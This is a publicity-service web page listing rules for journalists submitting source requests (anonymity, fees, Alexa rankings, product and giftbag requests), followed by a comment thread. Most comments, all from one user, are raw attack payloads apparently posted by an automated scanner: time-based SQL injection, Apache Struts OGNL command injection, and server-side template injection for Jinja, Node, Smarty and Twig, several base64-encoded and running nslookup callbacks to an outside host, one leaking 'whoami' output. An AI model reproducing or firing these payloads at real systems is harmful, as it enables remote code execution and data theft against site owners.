Journalist Rules

Below are rules that apply to all outlets, as well as rules that are specific for individual outlet types. If you are found to have violated the rules, it could result in your query being denied and/or a banning of your account.

For all outlets

  • Accreditation & Story Sharing – You must properly credit anyone whose pitch you use through HARO. If you accept a pitch, you must share the final story link to the source.
  • Anonymity – All users submitting a source request must include their full name, rather than “editorial team” or no name in the reporter details section. If you want your query to be anonymous, you have the following options:
    • You can include the actual outlet name and outlet URL, then check the anonymous box (which hides your name and the outlet name), or
    • You can include an outlet URL, and a general descriptor (e.g. Business Site) in place of the Media Outlet name.

*The outlet URL field doesn’t show when a query is sent out.

If you accept a pitch for an anonymous query, you must disclose the outlet and final story link to the source.

  • Backlinks – Neither journalists nor sources are required to provide backlinks and any agreement to do so is outside of our jurisdiction.
  • Fees/money – Queries can’t seek monetary compensation to include sources in content. This includes compensation for travel or hotel stays.
  • Guest authors – Requests for guest authors or guest bloggers are not permitted. This includes requests for book and product reviews.
  • School publications – Student reporters must be writing for a publication accessible to the general public. The publication must be college level or higher. Queries for school assignments are not permitted.
  • Speakers – We don’t send out queries seeking event and conference speakers.
  • Surveys – You may not ask respondents to take a survey, comment on a blog, or to submit information via a link. All information must be submitted through the HARO system.
  • Word limit – You can’t seek more than 300 words in pitches.

Print publications/books

  • A print publication must be established at least one month prior to submitting a query.
  • Queries for books/e-books must include the publication date and publisher information in order to be considered.

Online-only outlets or business websites

  • A website must be fully launched one month prior to submitting a query for it, and the site must have an Alexa ranking of 1 million or less. To determine the Alexa ranking of your website, please visit http://www.alexa.com and enter your website in the “Browse Top Sites” search box at the bottom of the screen. Your website will be judged based on the overall Alexa traffic global rank, not the traffic rank in the U.S.
  • Podcasts and online-only television/radio shows must be hosted on their own domain, and that domain must meet the Alexa ranking criteria.
  • No subscription-based outlet may submit a source request. We consider an outlet to be subscription-based if it requires someone to create an account to view content.
  • We don’t send queries out for social media platforms.

Broadcast outlets

  • You may only ask for sources to appear in a video you will film in person or using an app such as Skype or Google Hangouts. Raw B-roll is allowed.
  • You may not ask for sources to appear on camera for more than one day of filming.
  • HARO does not accept casting requests for television series or award nominations.
  • Talk and news shows may submit requests for topical experts or sources. Requests for audience participation are not allowed.

Product request

  • Reporters must return product samples they receive from sources, as agreed upon with the source. Exceptions are cosmetics and beauty supplies.
  • Product requests can’t seek food or beverage items.
  • Product sample requests from radio station reporters are not permitted. This is in order to protect our users from fraud and other scams.
  • Queries can’t seek large, high-priced items such as refrigerators, TVs, etc. to review.

Giftbag request

Please note that Giftbag queries are only sent out in the
afternoon (12:35pm ET) edition on Wednesdays and Fridays.

  • You may request items for a single, in-person event. Giftbag queries can’t be for online events or giveaways.
  • Within the query text, you must list name, date, location and a brief description of the event, as well as the number of attendees/quantity of items needed.
  • Queries can’t seek event sponsorship or charge a fee for the giftbag.
1244 replies
« Older CommentsNewer Comments »
  1. marketingops
    marketingops says:

    syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x– /* 954cc74b-611f-46b2-854c-05516e9a702c */

  6. marketingops
    marketingops says:

    syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(49);WAITFOR/**/DELAY/**/@x– /* 1191658f-192a-409c-a73d-cafc2a9d5f80 */

  9. marketingops
    marketingops says:

    syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(49);WAITFOR/**/DELAY/**/@x– /* 481102a9-2ecb-4ccb-a97c-0015f965c502 */

  12. marketingops
    marketingops says:

    syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(51)+char(48);WAITFOR/**/DELAY/**/@x– /* f9a422ac-435d-4943-a4c6-44aa6e38e30e */

  14. marketingops
    marketingops says:

    syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(51)+char(48);WAITFOR/**/DELAY/**/@x– /* d60259d5-9b9c-4e82-90ed-de133ecb43bb */

  15. marketingops
    marketingops says:

    %{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=’nslookup `whoami`.”sgabop4mu0jijwr3veyercmnutbtley9c0qbphhc””q2y.r87.me”‘).(#p=new java.lang.ProcessBuilder({‘/bin/bash’,’-c’,#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

  16. marketingops
    marketingops says:

    3 + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*’XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR’|”XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR”*/ /* 30d52807-1210-43dd-a6bd-86c6b783584b */

  17. marketingops
    marketingops says:

    %{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=’nslookup “sgabop4mu0pt7zyuhi1k5pstbyfvehpuqseucdgd”f-4.r87.me”‘).(#p=new java.lang.ProcessBuilder({‘cmd.exe’,’/c’,#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

  19. marketingops
    marketingops says:

    ${__import__(‘os’).popen(__import__(‘base64’).urlsafe_b64decode(‘bnNsb29rdXAgc2dhYm9wNG11MG9qZGI3Y2MwemZobF9sZHEwd3drbnFyeXdoaGpxbS1xMC5yODcubWU=’)).read()}

  21. marketingops
    marketingops says:

    {{__import__(‘os’).popen(__import__(‘base64’).urlsafe_b64decode(‘bnNsb29rdXAgc2dhYm9wNG11MHR5M3JpLTZmX3hvdWhwZjczcWhjMnU2aWc1dG56Zmt5aS5yODcubWU=’)).read()}}

  23. marketingops
    marketingops says:

    {% set d = “eval(__import__(‘base64’).urlsafe_b64decode(‘X19pbXBvcnRfXygnb3MnKS5wb3BlbihfX2ltcG9ydF9fKCdiYXNlNjQnKS51cmxzYWZlX2I2NGRlY29kZSgnYm5Oc2IyOXJkWEFnYzJkaFltOXdORzExTURKa2NIWm1kbWg0ZG5veGMyTTRlSEpqZFdreWJHWnRkQzFsZVdsbGEyTnFiUzV5T0RjdWJXVT0nKSkucmVhZCgp’))” %}{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == ‘catch_warnings’ %}{% for b in c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %}{% if ‘eval’ in b.keys() %}{{ b[‘eval’](d) }}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}

  25. marketingops
    marketingops says:

    ${global.process.mainModule.require(‘child_process’).execSync(Buffer(‘bnNsb29rdXAgc2dhYm9wNG11MGJ3b3R4eWF4bW1td2V0MmFibTdvZmd3NGN3cWV2cmVzNC5yODcubWU=’,’base64′).toString())}

  26. marketingops
    marketingops says:

    {{= global.process.mainModule.require(‘child_process’).execSync(Buffer(‘bnNsb29rdXAgc2dhYm9wNG11MGt1N3VtdmNlNWV2NXZzeXlibmMxZnNjZGRyYjh1emU4by5yODcubWU=’,’base64′).toString())}}

  29. marketingops
    marketingops says:

    {{range.constructor(“return global.process.mainModule.require(‘child_process’).execSync(‘nslookup sgabop4mu0qjdwfp0x3viinwferkpdm6dyfpfgog” + “l-y.r87.me’)”)()}}

  30. marketingops
    marketingops says:

    = global.process.mainModule.require(‘child_process’).execSync(Buffer(‘bnNsb29rdXAgc2dhYm9wNG11MG9kaWdrZ3Bxdmt1NGhlaWg4cXpzcWc1a2Z1aDhtZjdyay5yODcubWU=’,’base64′).toString())

  35. marketingops
    marketingops says:

    {php}Smarty_Resource::parseResourceName(system(“nslookup sgabop4mu09rivkp9oqfjim2c0s3gmsxuyyt8cs0″.”pma.r87.me”),’b’);{/php}

  38. marketingops
    marketingops says:

    {{_self.env.registerUndefinedFilterCallback(“system”)}}{{_self.env.getFilter(“nslookup sgabop4mu0-58b0zf6vy41tgcayypbtq7e_oz2rn”~”qvi.r87.me”)}}

  39. marketingops
    marketingops says:

    (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) /* e61b055f-2983-4bc8-899e-1af68bb9db51 */

  43. marketingops
    marketingops says:

    ${ ex(“bash -c {eval,$({tr,/+,_-}<<<bnNsb29rdXAgc2dhYm9wNG11MHhjYi1kbWZldGd6b29oYjJzbGZnbzFob2Q2cWFzZmc0Zy5yODcubWU=|{base64,–decode})}") }

  45. marketingops
    marketingops says:

    1′ || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || ‘ /* bdb67147-992e-48e9-b2a2-70905fcfb876 */

  50. marketingops
    marketingops says:

    1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1 /* b51b8c14-f50d-410c-b278-38415bf1fbfb */

Trackbacks & Pingbacks

« Older CommentsNewer Comments »

Comments are closed.